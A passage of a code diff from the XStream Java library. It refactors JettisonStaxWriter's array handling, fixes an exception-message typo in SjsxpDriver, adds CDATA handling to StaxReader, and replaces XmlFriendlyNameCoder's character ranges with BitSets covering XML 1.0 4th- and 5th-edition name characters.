	63	this(qnameMap, out, writeEnclosingDocument, namespaceRepairingMode, (NameCoder)replacer, convention);
59	64	}
60	65
61	66	public JettisonStaxWriter(
62		QNameMap qnameMap, XMLStreamWriter out, boolean writeEnclosingDocument,
63		boolean namespaceRepairingMode, MappedNamespaceConvention convention)
64		throws XMLStreamException {
	67	final QNameMap qnameMap, final XMLStreamWriter out, final boolean writeEnclosingDocument,
	68	final boolean namespaceRepairingMode, final MappedNamespaceConvention convention)
	69	throws XMLStreamException {
65	70	super(qnameMap, out, writeEnclosingDocument, namespaceRepairingMode);
66	71	this.convention = convention;
67	72	}
68	73
69	74	public JettisonStaxWriter(
70		QNameMap qnameMap, XMLStreamWriter out, MappedNamespaceConvention convention)
71		throws XMLStreamException {
	75	final QNameMap qnameMap, final XMLStreamWriter out, final MappedNamespaceConvention convention)
	76	throws XMLStreamException {
72	77	super(qnameMap, out);
73	78	this.convention = convention;
74	79	}

77	82	* @since 1.4
78	83	*/
79	84	public JettisonStaxWriter(
80		QNameMap qnameMap, XMLStreamWriter out, NameCoder nameCoder, MappedNamespaceConvention convention)
81		throws XMLStreamException {
	85	final QNameMap qnameMap, final XMLStreamWriter out, final NameCoder nameCoder,
	86	final MappedNamespaceConvention convention)
	87	throws XMLStreamException {
82	88	super(qnameMap, out, nameCoder);
83	89	this.convention = convention;
84	90	}
85	91
86		public void startNode(String name, Class clazz) {
87		XMLStreamWriter out = getXMLStreamWriter();
	92	public void startNode(final String name, final Class clazz) {
	93	final XMLStreamWriter out = getXMLStreamWriter();
	94	String key = "";
88	95	if (clazz != null && out instanceof AbstractXMLStreamWriter) {
89		if (Collection.class.isAssignableFrom(clazz)
90		\|\| Map.class.isAssignableFrom(clazz)
91		\|\| clazz.isArray()) {
92		QName qname = getQNameMap().getQName(encodeNode(name));
93		String prefix = qname.getPrefix();
94		String uri = qname.getNamespaceURI();
95		String key = convention.createKey(prefix, uri, qname.getLocalPart());
96		if (!((AbstractXMLStreamWriter)out).getSerializedAsArrays().contains(key)) {
97		// Typo is in the API of Jettison ...
98		((AbstractXMLStreamWriter)out).seriliazeAsArray(key);
	96	if (Collection.class.isAssignableFrom(clazz) \|\| Map.class.isAssignableFrom(clazz) \|\| clazz.isArray()) {
	97	final QName qname = getQNameMap().getQName(encodeNode(name));
	98	final String prefix = qname.getPrefix();
	99	final String uri = qname.getNamespaceURI();
	100	key = convention.createKey(prefix, uri, qname.getLocalPart());
	101
	102	if (!JVM.is15()) {
	103	final ArrayList serializedAsArrays = ((AbstractXMLStreamWriter)out).getSerializedAsArrays();
	104	if (!serializedAsArrays.contains(key)) {
	105	serializedAsArrays.add(key);
	106	}
	107	key = "";
99	108	}
100	109	}
101	110	}
102		startNode(name);
	111	stack.add(key);
	112	super.startNode(name);
	113	}
	114
	115	public void startNode(final String name) {
	116	startNode(name, null);
	117	}
	118
	119	public void endNode() {
	120	final String key = (String)stack.remove(stack.size() - 1);
	121	if (key.length() == 0) {
	122	super.endNode();
	123	} else {
	124	final XMLStreamWriter out = getXMLStreamWriter();
	125	final ArrayList serializedAsArrays = ((AbstractXMLStreamWriter)out).getSerializedAsArrays();
	126	serializedAsArrays.add(key);
	127	super.endNode();
	128	serializedAsArrays.remove(key);
	129	}
103	130	}
104	131	}

-2

xstream/src/java/com/thoughtworks/xstream/io/xml/SjsxpDriver.java less more

67	67	} catch (ClassNotFoundException e) {
68	68	exception = e;
69	69	}
70		throw new StreamException("Cannot create SJSXP (Sun JDK 6 StAX) XMLInputFaqctory instance.", exception);
	70	throw new StreamException("Cannot create SJSXP (Sun JDK 6 StAX) XMLInputFactory instance.", exception);
71	71	}
72	72
73	73	/**

84	84	} catch (ClassNotFoundException e) {
85	85	exception = e;
86	86	}
87		throw new StreamException("Cannot create SJSXP (Sun JDK 6 StAX) XMLOutputFaqctory instance.", exception);
	87	throw new StreamException("Cannot create SJSXP (Sun JDK 6 StAX) XMLOutputFactory instance.", exception);
88	88	}
89	89
90	90	}

+16

-15

xstream/src/java/com/thoughtworks/xstream/io/xml/StaxReader.java less more

0	0	/*
1	1	* Copyright (C) 2004, 2005, 2006 Joe Walnes.
2		* Copyright (C) 2006, 2007, 2009, 2011 XStream Committers.
	2	* Copyright (C) 2006, 2007, 2009, 2011, 2018 XStream Committers.
3	3	* All rights reserved.
4	4	*
5	5	* The software in this package is published under the terms of the BSD

54	54
55	55	protected int pullNextEvent() {
56	56	try {
57		switch(in.next()) {
58		case XMLStreamConstants.START_DOCUMENT:
59		case XMLStreamConstants.START_ELEMENT:
60		return START_NODE;
61		case XMLStreamConstants.END_DOCUMENT:
62		case XMLStreamConstants.END_ELEMENT:
63		return END_NODE;
64		case XMLStreamConstants.CHARACTERS:
65		return TEXT;
66		case XMLStreamConstants.COMMENT:
67		return COMMENT;
68		default:
69		return OTHER;
	57	switch (in.next()) {
	58	case XMLStreamConstants.START_DOCUMENT:
	59	case XMLStreamConstants.START_ELEMENT:
	60	return START_NODE;
	61	case XMLStreamConstants.END_DOCUMENT:
	62	case XMLStreamConstants.END_ELEMENT:
	63	return END_NODE;
	64	case XMLStreamConstants.CDATA:
	65	case XMLStreamConstants.CHARACTERS:
	66	return TEXT;
	67	case XMLStreamConstants.COMMENT:
	68	return COMMENT;
	69	default:
	70	return OTHER;
70	71	}
71	72	} catch (XMLStreamException e) {
72	73	throw new StreamException(e);

111	112	}
112	113	}
113	114
114		}⏎
	115	}

+385

-88

xstream/src/java/com/thoughtworks/xstream/io/xml/XmlFriendlyNameCoder.java less more

0	0	/*
1	1	* Copyright (C) 2006 Joe Walnes.
2		* Copyright (C) 2006, 2007, 2008, 2009, 2011, 2013 XStream Committers.
	2	* Copyright (C) 2006, 2007, 2008, 2009, 2011, 2013, 2019 XStream Committers.
3	3	* All rights reserved.
4	4	*
5	5	* The software in this package is published under the terms of the BSD

13	13	import com.thoughtworks.xstream.converters.reflection.ObjectAccessException;
14	14	import com.thoughtworks.xstream.io.naming.NameCoder;
15	15
16		import java.util.ArrayList;
	16	import java.util.BitSet;
17	17	import java.util.HashMap;
18	18	import java.util.Map;
19	19

33	33	* <li>other characters that are invalid in XML names are encoded with <b>_.XXXX</b> (underscore
34	34	* dot followed by hex representation of character).</li>
35	35	* </ul>
36		*
	36	* <p>
	37	* The valid characters are defined by the intersection of the XML 1.0 specification (4th edition) and later
	38	* specifications till XML 1.1 specification.
	39	* </p>
	40	*
37	41	* @author Jörg Schaible
38	42	* @author Mauro Talevi
39	43	* @author Tatu Saloranta
40	44	* @author Michael Schnell
41		* @see <a href="http://www.w3.org/TR/REC-xml/#dt-name">XML 1.0 name definition</a>
42		* @see <a href="http://www.w3.org/TR/xml11/#dt-name">XML 1.1 name definition</a>
43		* @see <a href="http://java.sun.com/docs/books/jls/third_edition/html/lexical.html#3.8">Java
44		* identifier definition</a>
	45	* @see <a href="https://www.w3.org/TR/REC-xml/#dt-name">XML 1.0 name definition (5th edition)</a>
	46	* @see <a href="https://www.w3.org/TR/2006/REC-xml-20060816/#NT-Letter">XML 1.0 name definition (4th edition)</a>
	47	* @see <a href="https://www.w3.org/TR/xml11/#dt-name">XML 1.1 name definition</a>
	48	* @see <a href="https://docs.oracle.com/javase/specs/jls/se8/html/jls-3.html#jls-3.8">Java identifier definition</a>
45	49	* @since 1.4
46	50	*/
47	51	public class XmlFriendlyNameCoder implements NameCoder, Cloneable {
48		private static final IntPair[] XML_NAME_START_CHAR_BOUNDS;
49		private static final IntPair[] XML_NAME_CHAR_EXTRA_BOUNDS;
	52	private static final BitSet XML_NAME_START_CHARS;
	53	private static final BitSet XML_NAME_CHARS;
50	54	static {
51		class IntPairList extends ArrayList {
52		void add(int min, int max) {
53		super.add(new IntPair(min, max));
54		}
55
56		void add(char cp) {
57		super.add(new IntPair(cp, cp));
58		}
59		}
60
61		// legal characters in XML names according to
62		// http://www.w3.org/TR/REC-xml/#NT-Name and
63		// http://www.w3.org/TR/xml11/#NT-Name
64		IntPairList list = new IntPairList();
65
66		list.add(':');
67		list.add('A', 'Z');
68		list.add('a', 'z');
69		list.add('_');
70
71		list.add(0xC0, 0xD6);
72		list.add(0xD8, 0xF6);
73		list.add(0xF8, 0x2FF);
74		list.add(0x370, 0x37D);
75		list.add(0x37F, 0x1FFF);
76		list.add(0x200C, 0x200D);
77		list.add(0x2070, 0x218F);
78		list.add(0x2C00, 0x2FEF);
79		list.add(0x3001, 0xD7FF);
80		list.add(0xF900, 0xFDCF);
81		list.add(0xFDF0, 0xFFFD);
82		list.add(0x10000, 0xEFFFF);
83		XML_NAME_START_CHAR_BOUNDS = (IntPair[])list.toArray(new IntPair[list.size()]);
84
85		list.clear();
86		list.add('-');
87		list.add('.');
88		list.add('0', '9');
89		list.add('\u00b7');
90		list.add(0x0300, 0x036F);
91		list.add(0x203F, 0x2040);
92		XML_NAME_CHAR_EXTRA_BOUNDS = (IntPair[])list.toArray(new IntPair[list.size()]);
	55	final BitSet XML_NAME_START_CHARS_4TH = new BitSet(0xFFFFF);
	56	XML_NAME_START_CHARS_4TH.set(':');
	57	XML_NAME_START_CHARS_4TH.set('_');
	58	XML_NAME_START_CHARS_4TH.set('A', 'Z' + 1);
	59	XML_NAME_START_CHARS_4TH.set('a', 'z' + 1);
	60	XML_NAME_START_CHARS_4TH.set(0xC0, 0xD6 + 1);
	61	XML_NAME_START_CHARS_4TH.set(0xD8, 0xF6 + 1);
	62
	63	final BitSet XML_NAME_START_CHARS_5TH = (BitSet)XML_NAME_START_CHARS_4TH.clone();
	64
	65	XML_NAME_START_CHARS_4TH.set(0xF8, 0x131 + 1);
	66	XML_NAME_START_CHARS_4TH.set(0x134, 0x13E + 1);
	67	XML_NAME_START_CHARS_4TH.set(0x141, 0x148 + 1);
	68	XML_NAME_START_CHARS_4TH.set(0x14A, 0x17E + 1);
	69	XML_NAME_START_CHARS_4TH.set(0x180, 0x1C3 + 1);
	70	XML_NAME_START_CHARS_4TH.set(0x1CD, 0x1F0 + 1);
	71	XML_NAME_START_CHARS_4TH.set(0x1CD, 0x1F0 + 1);
	72	XML_NAME_START_CHARS_4TH.set(0x1F4, 0x1F5 + 1);
	73	XML_NAME_START_CHARS_4TH.set(0x1FA, 0x217 + 1);
	74	XML_NAME_START_CHARS_4TH.set(0x250, 0x2A8 + 1);
	75	XML_NAME_START_CHARS_4TH.set(0x2BB, 0x2C1 + 1);
	76	XML_NAME_START_CHARS_4TH.set(0x386);
	77	XML_NAME_START_CHARS_4TH.set(0x388, 0x38A + 1);
	78	XML_NAME_START_CHARS_4TH.set(0x38C);
	79	XML_NAME_START_CHARS_4TH.set(0x38E, 0x3A1 + 1);
	80	XML_NAME_START_CHARS_4TH.set(0x3A3, 0x3CE + 1);
	81	XML_NAME_START_CHARS_4TH.set(0x3D0, 0x3D6 + 1);
	82	XML_NAME_START_CHARS_4TH.set(0x3DA);
	83	XML_NAME_START_CHARS_4TH.set(0x3DC);
	84	XML_NAME_START_CHARS_4TH.set(0x3DE);
	85	XML_NAME_START_CHARS_4TH.set(0x3E0);
	86	XML_NAME_START_CHARS_4TH.set(0x3E2, 0x3F3 + 1);
	87	XML_NAME_START_CHARS_4TH.set(0x401, 0x40C + 1);
	88	XML_NAME_START_CHARS_4TH.set(0x40E, 0x44F + 1);
	89	XML_NAME_START_CHARS_4TH.set(0x451, 0x45C + 1);
	90	XML_NAME_START_CHARS_4TH.set(0x45E, 0x481 + 1);
	91	XML_NAME_START_CHARS_4TH.set(0x490, 0x4C4 + 1);
	92	XML_NAME_START_CHARS_4TH.set(0x4C7, 0x4C8 + 1);
	93	XML_NAME_START_CHARS_4TH.set(0x4CB, 0x4CC + 1);
	94	XML_NAME_START_CHARS_4TH.set(0x4D0, 0x4EB + 1);
	95	XML_NAME_START_CHARS_4TH.set(0x4EE, 0x4F5 + 1);
	96	XML_NAME_START_CHARS_4TH.set(0x4F8, 0x4F9 + 1);
	97	XML_NAME_START_CHARS_4TH.set(0x531, 0x556 + 1);
	98	XML_NAME_START_CHARS_4TH.set(0x559);
	99	XML_NAME_START_CHARS_4TH.set(0x561, 0x586 + 1);
	100	XML_NAME_START_CHARS_4TH.set(0x5D0, 0x5EA + 1);
	101	XML_NAME_START_CHARS_4TH.set(0x5F0, 0x5F2 + 1);
	102	XML_NAME_START_CHARS_4TH.set(0x621, 0x63A + 1);
	103	XML_NAME_START_CHARS_4TH.set(0x641, 0x64A + 1);
	104	XML_NAME_START_CHARS_4TH.set(0x671, 0x6B7 + 1);
	105	XML_NAME_START_CHARS_4TH.set(0x6BA, 0x6BE + 1);
	106	XML_NAME_START_CHARS_4TH.set(0x6C0, 0x6CE + 1);
	107	XML_NAME_START_CHARS_4TH.set(0x6D0, 0x6D3 + 1);
	108	XML_NAME_START_CHARS_4TH.set(0x6D5);
	109	XML_NAME_START_CHARS_4TH.set(0x6E5, 0x6E6 + 1);
	110	XML_NAME_START_CHARS_4TH.set(0x905, 0x939 + 1);
	111	XML_NAME_START_CHARS_4TH.set(0x93D);
	112	XML_NAME_START_CHARS_4TH.set(0x958, 0x961 + 1);
	113	XML_NAME_START_CHARS_4TH.set(0x985, 0x98C + 1);
	114	XML_NAME_START_CHARS_4TH.set(0x98F, 0x990 + 1);
	115	XML_NAME_START_CHARS_4TH.set(0x993, 0x9A8 + 1);
	116	XML_NAME_START_CHARS_4TH.set(0x9AA, 0x9B0 + 1);
	117	XML_NAME_START_CHARS_4TH.set(0x9B2);
	118	XML_NAME_START_CHARS_4TH.set(0x9B6, 0x9B9 + 1);
	119	XML_NAME_START_CHARS_4TH.set(0x9DC, 0x9DD + 1);
	120	XML_NAME_START_CHARS_4TH.set(0x9DF, 0x9E1 + 1);
	121	XML_NAME_START_CHARS_4TH.set(0x9F0, 0x9F1 + 1);
	122	XML_NAME_START_CHARS_4TH.set(0xA05, 0xA0A + 1);
	123	XML_NAME_START_CHARS_4TH.set(0xA0F, 0xA10 + 1);
	124	XML_NAME_START_CHARS_4TH.set(0xA13, 0xA28 + 1);
	125	XML_NAME_START_CHARS_4TH.set(0xA2A, 0xA30 + 1);
	126	XML_NAME_START_CHARS_4TH.set(0xA32, 0xA33 + 1);
	127	XML_NAME_START_CHARS_4TH.set(0xA35, 0xA36 + 1);
	128	XML_NAME_START_CHARS_4TH.set(0xA38, 0xA39 + 1);
	129	XML_NAME_START_CHARS_4TH.set(0xA59, 0xA5C + 1);
	130	XML_NAME_START_CHARS_4TH.set(0xA5E);
	131	XML_NAME_START_CHARS_4TH.set(0xA72, 0xA74 + 1);
	132	XML_NAME_START_CHARS_4TH.set(0xA85, 0xA8B + 1);
	133	XML_NAME_START_CHARS_4TH.set(0xA8D);
	134	XML_NAME_START_CHARS_4TH.set(0xA8F, 0xA91 + 1);
	135	XML_NAME_START_CHARS_4TH.set(0xA93, 0xAA8 + 1);
	136	XML_NAME_START_CHARS_4TH.set(0xAAA, 0xAB0 + 1);
	137	XML_NAME_START_CHARS_4TH.set(0xAB2, 0xAB3 + 1);
	138	XML_NAME_START_CHARS_4TH.set(0xAB5, 0xAB9 + 1);
	139	XML_NAME_START_CHARS_4TH.set(0xABD);
	140	XML_NAME_START_CHARS_4TH.set(0xAE0);
	141	XML_NAME_START_CHARS_4TH.set(0xB05, 0xB0C + 1);
	142	XML_NAME_START_CHARS_4TH.set(0xB0F, 0xB10 + 1);
	143	XML_NAME_START_CHARS_4TH.set(0xB13, 0xB28 + 1);
	144	XML_NAME_START_CHARS_4TH.set(0xB2A, 0xB30 + 1);
	145	XML_NAME_START_CHARS_4TH.set(0xB32, 0xB33 + 1);
	146	XML_NAME_START_CHARS_4TH.set(0xB36, 0xB39 + 1);
	147	XML_NAME_START_CHARS_4TH.set(0xB3D);
	148	XML_NAME_START_CHARS_4TH.set(0xB5C, 0xB5D + 1);
	149	XML_NAME_START_CHARS_4TH.set(0xB5F, 0xB61 + 1);
	150	XML_NAME_START_CHARS_4TH.set(0xB85, 0xB8A + 1);
	151	XML_NAME_START_CHARS_4TH.set(0xB8E, 0xB90 + 1);
	152	XML_NAME_START_CHARS_4TH.set(0xB92, 0xB95 + 1);
	153	XML_NAME_START_CHARS_4TH.set(0xB99, 0xB9A + 1);
	154	XML_NAME_START_CHARS_4TH.set(0xB9C);
	155	XML_NAME_START_CHARS_4TH.set(0xB9E, 0xB9F + 1);
	156	XML_NAME_START_CHARS_4TH.set(0xBA3, 0xBA4 + 1);
	157	XML_NAME_START_CHARS_4TH.set(0xBA8, 0xBAA + 1);
	158	XML_NAME_START_CHARS_4TH.set(0xBAE, 0xBB5 + 1);
	159	XML_NAME_START_CHARS_4TH.set(0xBB7, 0xBB9 + 1);
	160	XML_NAME_START_CHARS_4TH.set(0xC05, 0xC0C + 1);
	161	XML_NAME_START_CHARS_4TH.set(0xC0E, 0xC10 + 1);
	162	XML_NAME_START_CHARS_4TH.set(0xC12, 0xC28 + 1);
	163	XML_NAME_START_CHARS_4TH.set(0xC2A, 0xC33 + 1);
	164	XML_NAME_START_CHARS_4TH.set(0xC35, 0xC39 + 1);
	165	XML_NAME_START_CHARS_4TH.set(0xC60, 0xC61 + 1);
	166	XML_NAME_START_CHARS_4TH.set(0xC85, 0xC8C + 1);
	167	XML_NAME_START_CHARS_4TH.set(0xC8E, 0xC90 + 1);
	168	XML_NAME_START_CHARS_4TH.set(0xC92, 0xCA8 + 1);
	169	XML_NAME_START_CHARS_4TH.set(0xCAA, 0xCB3 + 1);
	170	XML_NAME_START_CHARS_4TH.set(0xCB5, 0xCB9 + 1);
	171	XML_NAME_START_CHARS_4TH.set(0xCDE);
	172	XML_NAME_START_CHARS_4TH.set(0xCE0, 0xCE1 + 1);
	173	XML_NAME_START_CHARS_4TH.set(0xD05, 0xD0C + 1);
	174	XML_NAME_START_CHARS_4TH.set(0xD0E, 0xD10 + 1);
	175	XML_NAME_START_CHARS_4TH.set(0xD12, 0xD28 + 1);
	176	XML_NAME_START_CHARS_4TH.set(0xD2A, 0xD39 + 1);
	177	XML_NAME_START_CHARS_4TH.set(0xD60, 0xD61 + 1);
	178	XML_NAME_START_CHARS_4TH.set(0xE01, 0xE2E + 1);
	179	XML_NAME_START_CHARS_4TH.set(0xE30);
	180	XML_NAME_START_CHARS_4TH.set(0xE32, 0xE33 + 1);
	181	XML_NAME_START_CHARS_4TH.set(0xE40, 0xE45 + 1);
	182	XML_NAME_START_CHARS_4TH.set(0xE81, 0xE82 + 1);
	183	XML_NAME_START_CHARS_4TH.set(0xE84);
	184	XML_NAME_START_CHARS_4TH.set(0xE87, 0xE88 + 1);
	185	XML_NAME_START_CHARS_4TH.set(0xE8A);
	186	XML_NAME_START_CHARS_4TH.set(0xE8D);
	187	XML_NAME_START_CHARS_4TH.set(0xE94, 0xE97 + 1);
	188	XML_NAME_START_CHARS_4TH.set(0xE99, 0xE9F + 1);
	189	XML_NAME_START_CHARS_4TH.set(0xEA1, 0xEA3 + 1);
	190	XML_NAME_START_CHARS_4TH.set(0xEA5);
	191	XML_NAME_START_CHARS_4TH.set(0xEA7);
	192	XML_NAME_START_CHARS_4TH.set(0xEAA, 0xEAB + 1);
	193	XML_NAME_START_CHARS_4TH.set(0xEAD, 0xEAE + 1);
	194	XML_NAME_START_CHARS_4TH.set(0xEB0);
	195	XML_NAME_START_CHARS_4TH.set(0xEB2, 0xEB3 + 1);
	196	XML_NAME_START_CHARS_4TH.set(0xEBD);
	197	XML_NAME_START_CHARS_4TH.set(0xEC0, 0xEC4 + 1);
	198	XML_NAME_START_CHARS_4TH.set(0xF40, 0xF47 + 1);
	199	XML_NAME_START_CHARS_4TH.set(0xF49, 0xF69 + 1);
	200	XML_NAME_START_CHARS_4TH.set(0x10A0, 0x10C5 + 1);
	201	XML_NAME_START_CHARS_4TH.set(0x10D0, 0x10F6 + 1);
	202	XML_NAME_START_CHARS_4TH.set(0x1100);
	203	XML_NAME_START_CHARS_4TH.set(0x1102, 0x1103 + 1);
	204	XML_NAME_START_CHARS_4TH.set(0x1105, 0x1107 + 1);
	205	XML_NAME_START_CHARS_4TH.set(0x1109);
	206	XML_NAME_START_CHARS_4TH.set(0x110B, 0x110C + 1);
	207	XML_NAME_START_CHARS_4TH.set(0x110E, 0x1112 + 1);
	208	XML_NAME_START_CHARS_4TH.set(0x113C);
	209	XML_NAME_START_CHARS_4TH.set(0x113E);
	210	XML_NAME_START_CHARS_4TH.set(0x1140);
	211	XML_NAME_START_CHARS_4TH.set(0x114C);
	212	XML_NAME_START_CHARS_4TH.set(0x114E);
	213	XML_NAME_START_CHARS_4TH.set(0x1150);
	214	XML_NAME_START_CHARS_4TH.set(0x1154, 0x1155 + 1);
	215	XML_NAME_START_CHARS_4TH.set(0x1159);
	216	XML_NAME_START_CHARS_4TH.set(0x115F, 0x1161 + 1);
	217	XML_NAME_START_CHARS_4TH.set(0x1163);
	218	XML_NAME_START_CHARS_4TH.set(0x1165);
	219	XML_NAME_START_CHARS_4TH.set(0x1167);
	220	XML_NAME_START_CHARS_4TH.set(0x1169);
	221	XML_NAME_START_CHARS_4TH.set(0x116D, 0x116E + 1);
	222	XML_NAME_START_CHARS_4TH.set(0x1172, 0x1173 + 1);
	223	XML_NAME_START_CHARS_4TH.set(0x1175);
	224	XML_NAME_START_CHARS_4TH.set(0x119E);
	225	XML_NAME_START_CHARS_4TH.set(0x11A8);
	226	XML_NAME_START_CHARS_4TH.set(0x11AB);
	227	XML_NAME_START_CHARS_4TH.set(0x11AE, 0x11AF + 1);
	228	XML_NAME_START_CHARS_4TH.set(0x11B7, 0x11B8 + 1);
	229	XML_NAME_START_CHARS_4TH.set(0x11BA);
	230	XML_NAME_START_CHARS_4TH.set(0x11BC, 0x11C2 + 1);
	231	XML_NAME_START_CHARS_4TH.set(0x11EB);
	232	XML_NAME_START_CHARS_4TH.set(0x11F0);
	233	XML_NAME_START_CHARS_4TH.set(0x11F9);
	234	XML_NAME_START_CHARS_4TH.set(0x1E00, 0x1E9B + 1);
	235	XML_NAME_START_CHARS_4TH.set(0x1EA0, 0x1EF9 + 1);
	236	XML_NAME_START_CHARS_4TH.set(0x1F00, 0x1F15 + 1);
	237	XML_NAME_START_CHARS_4TH.set(0x1F18, 0x1F1D + 1);
	238	XML_NAME_START_CHARS_4TH.set(0x1F20, 0x1F45 + 1);
	239	XML_NAME_START_CHARS_4TH.set(0x1F48, 0x1F4D + 1);
	240	XML_NAME_START_CHARS_4TH.set(0x1F50, 0x1F57 + 1);
	241	XML_NAME_START_CHARS_4TH.set(0x1F59);
	242	XML_NAME_START_CHARS_4TH.set(0x1F5B);
	243	XML_NAME_START_CHARS_4TH.set(0x1F5D);
	244	XML_NAME_START_CHARS_4TH.set(0x1F5F, 0x1F7D + 1);
	245	XML_NAME_START_CHARS_4TH.set(0x1F80, 0x1FB4 + 1);
	246	XML_NAME_START_CHARS_4TH.set(0x1FB6, 0x1FBC + 1);
	247	XML_NAME_START_CHARS_4TH.set(0x1FBE);
	248	XML_NAME_START_CHARS_4TH.set(0x1FC2, 0x1FC4 + 1);
	249	XML_NAME_START_CHARS_4TH.set(0x1FC6, 0x1FCC + 1);
	250	XML_NAME_START_CHARS_4TH.set(0x1FD0, 0x1FD3 + 1);
	251	XML_NAME_START_CHARS_4TH.set(0x1FD6, 0x1FDB + 1);
	252	XML_NAME_START_CHARS_4TH.set(0x1FE0, 0x1FEC + 1);
	253	XML_NAME_START_CHARS_4TH.set(0x1FF2, 0x1FF4 + 1);
	254	XML_NAME_START_CHARS_4TH.set(0x1FF6, 0x1FFC + 1);
	255	XML_NAME_START_CHARS_4TH.set(0x2126);
	256	XML_NAME_START_CHARS_4TH.set(0x212A, 0x212B + 1);
	257	XML_NAME_START_CHARS_4TH.set(0x212E);
	258	XML_NAME_START_CHARS_4TH.set(0x2180, 0x2182 + 1);
	259	XML_NAME_START_CHARS_4TH.set(0x3041, 0x3094 + 1);
	260	XML_NAME_START_CHARS_4TH.set(0x30A1, 0x30FA + 1);
	261	XML_NAME_START_CHARS_4TH.set(0x3105, 0x312C + 1);
	262	XML_NAME_START_CHARS_4TH.set(0x3007);
	263	XML_NAME_START_CHARS_4TH.set(0x3021, 0x3029 + 1);
	264	XML_NAME_START_CHARS_4TH.set(0x4E00, 0x9FA5 + 1);
	265	XML_NAME_START_CHARS_4TH.set(0xAC00, 0xD7A3 + 1);
	266
	267	XML_NAME_START_CHARS_5TH.set(0xF8, 0x2FF + 1);
	268	XML_NAME_START_CHARS_5TH.set(0x370, 0x37D + 1);
	269	XML_NAME_START_CHARS_5TH.set(0x37F, 0x1FFF + 1);
	270	XML_NAME_START_CHARS_5TH.set(0x200C, 0x200D + 1);
	271	XML_NAME_START_CHARS_5TH.set(0x2070, 0x218F + 1);
	272	XML_NAME_START_CHARS_5TH.set(0x2C00, 0x2FEF + 1);
	273	XML_NAME_START_CHARS_5TH.set(0x3001, 0xD7FF + 1);
	274	XML_NAME_START_CHARS_5TH.set(0xF900, 0xFDCF + 1);
	275	XML_NAME_START_CHARS_5TH.set(0xFDF0, 0xFFFD + 1);
	276	XML_NAME_START_CHARS_5TH.set(0x10000, 0xEFFFF + 1);
	277
	278	final BitSet XML_NAME_CHARS_4TH = new BitSet(0xFFFFF);
	279	XML_NAME_CHARS_4TH.set('-');
	280	XML_NAME_CHARS_4TH.set('.');
	281	XML_NAME_CHARS_4TH.set('0', '9');
	282	XML_NAME_CHARS_4TH.set(0xB7);
	283
	284	final BitSet XML_NAME_CHARS_5TH = (BitSet)XML_NAME_CHARS_4TH.clone();
	285
	286	XML_NAME_CHARS_4TH.or(XML_NAME_START_CHARS_4TH);
	287	XML_NAME_CHARS_4TH.set(0x2D0);
	288	XML_NAME_CHARS_4TH.set(0x2D1);
	289	XML_NAME_CHARS_4TH.set(0x300, 0x345 + 1);
	290	XML_NAME_CHARS_4TH.set(0x360, 0x361 + 1);
	291	XML_NAME_CHARS_4TH.set(0x387);
	292	XML_NAME_CHARS_4TH.set(0x483, 0x486 + 1);
	293	XML_NAME_CHARS_4TH.set(0x591, 0x5A1 + 1);
	294	XML_NAME_CHARS_4TH.set(0x5A3, 0x5B9 + 1);
	295	XML_NAME_CHARS_4TH.set(0x5BB, 0x5BD + 1);
	296	XML_NAME_CHARS_4TH.set(0x5BF);
	297	XML_NAME_CHARS_4TH.set(0x5C1, 0x5C2 + 1);
	298	XML_NAME_CHARS_4TH.set(0x5C4);
	299	XML_NAME_CHARS_4TH.set(0x640);
	300	XML_NAME_CHARS_4TH.set(0x64B, 0x652 + 1);
	301	XML_NAME_CHARS_4TH.set(0x660, 0x669 + 1);
	302	XML_NAME_CHARS_4TH.set(0x670);
	303	XML_NAME_CHARS_4TH.set(0x6D6, 0x6DC + 1);
	304	XML_NAME_CHARS_4TH.set(0x6DD, 0x6DF + 1);
	305	XML_NAME_CHARS_4TH.set(0x6E0, 0x6E4 + 1);
	306	XML_NAME_CHARS_4TH.set(0x6E7, 0x6E8 + 1);
	307	XML_NAME_CHARS_4TH.set(0x6EA, 0x6ED + 1);
	308	XML_NAME_CHARS_4TH.set(0x6F0, 0x6F9 + 1);
	309	XML_NAME_CHARS_4TH.set(0x901, 0x903 + 1);
	310	XML_NAME_CHARS_4TH.set(0x93C);
	311	XML_NAME_CHARS_4TH.set(0x93E, 0x94C + 1);
	312	XML_NAME_CHARS_4TH.set(0x94D);
	313	XML_NAME_CHARS_4TH.set(0x951, 0x954 + 1);
	314	XML_NAME_CHARS_4TH.set(0x962, 0x963 + 1);
	315	XML_NAME_CHARS_4TH.set(0x966, 0x96F + 1);
	316	XML_NAME_CHARS_4TH.set(0x981, 0x983 + 1);
	317	XML_NAME_CHARS_4TH.set(0x9BC);
	318	XML_NAME_CHARS_4TH.set(0x9BE);
	319	XML_NAME_CHARS_4TH.set(0x9BF);
	320	XML_NAME_CHARS_4TH.set(0x9C0, 0x9C4 + 1);
	321	XML_NAME_CHARS_4TH.set(0x9C7, 0x9C8 + 1);
	322	XML_NAME_CHARS_4TH.set(0x9CB, 0x9CD + 1);
	323	XML_NAME_CHARS_4TH.set(0x9D7);
	324	XML_NAME_CHARS_4TH.set(0x9E2, 0x9E3 + 1);
	325	XML_NAME_CHARS_4TH.set(0x9E6, 0x9EF + 1);
	326	XML_NAME_CHARS_4TH.set(0xA02);
	327	XML_NAME_CHARS_4TH.set(0xA3C);
	328	XML_NAME_CHARS_4TH.set(0xA3E);
	329	XML_NAME_CHARS_4TH.set(0xA3F);
	330	XML_NAME_CHARS_4TH.set(0xA40, 0xA42 + 1);
	331	XML_NAME_CHARS_4TH.set(0xA47, 0xA48 + 1);
	332	XML_NAME_CHARS_4TH.set(0xA4B, 0xA4D + 1);
	333	XML_NAME_CHARS_4TH.set(0xA66, 0xA6F + 1);
	334	XML_NAME_CHARS_4TH.set(0xA70, 0xA71 + 1);
	335	XML_NAME_CHARS_4TH.set(0xA81, 0xA83 + 1);
	336	XML_NAME_CHARS_4TH.set(0xABC);
	337	XML_NAME_CHARS_4TH.set(0xABE, 0xAC5 + 1);
	338	XML_NAME_CHARS_4TH.set(0xAC7, 0xAC9 + 1);
	339	XML_NAME_CHARS_4TH.set(0xACB, 0xACD + 1);
	340	XML_NAME_CHARS_4TH.set(0xAE6, 0xAEF + 1);
	341	XML_NAME_CHARS_4TH.set(0xB01, 0xB03 + 1);
	342	XML_NAME_CHARS_4TH.set(0xB3C);
	343	XML_NAME_CHARS_4TH.set(0xB3E, 0xB43 + 1);
	344	XML_NAME_CHARS_4TH.set(0xB47, 0xB48 + 1);
	345	XML_NAME_CHARS_4TH.set(0xB4B, 0xB4D + 1);
	346	XML_NAME_CHARS_4TH.set(0xB56, 0xB57 + 1);
	347	XML_NAME_CHARS_4TH.set(0xB66, 0xB6F + 1);
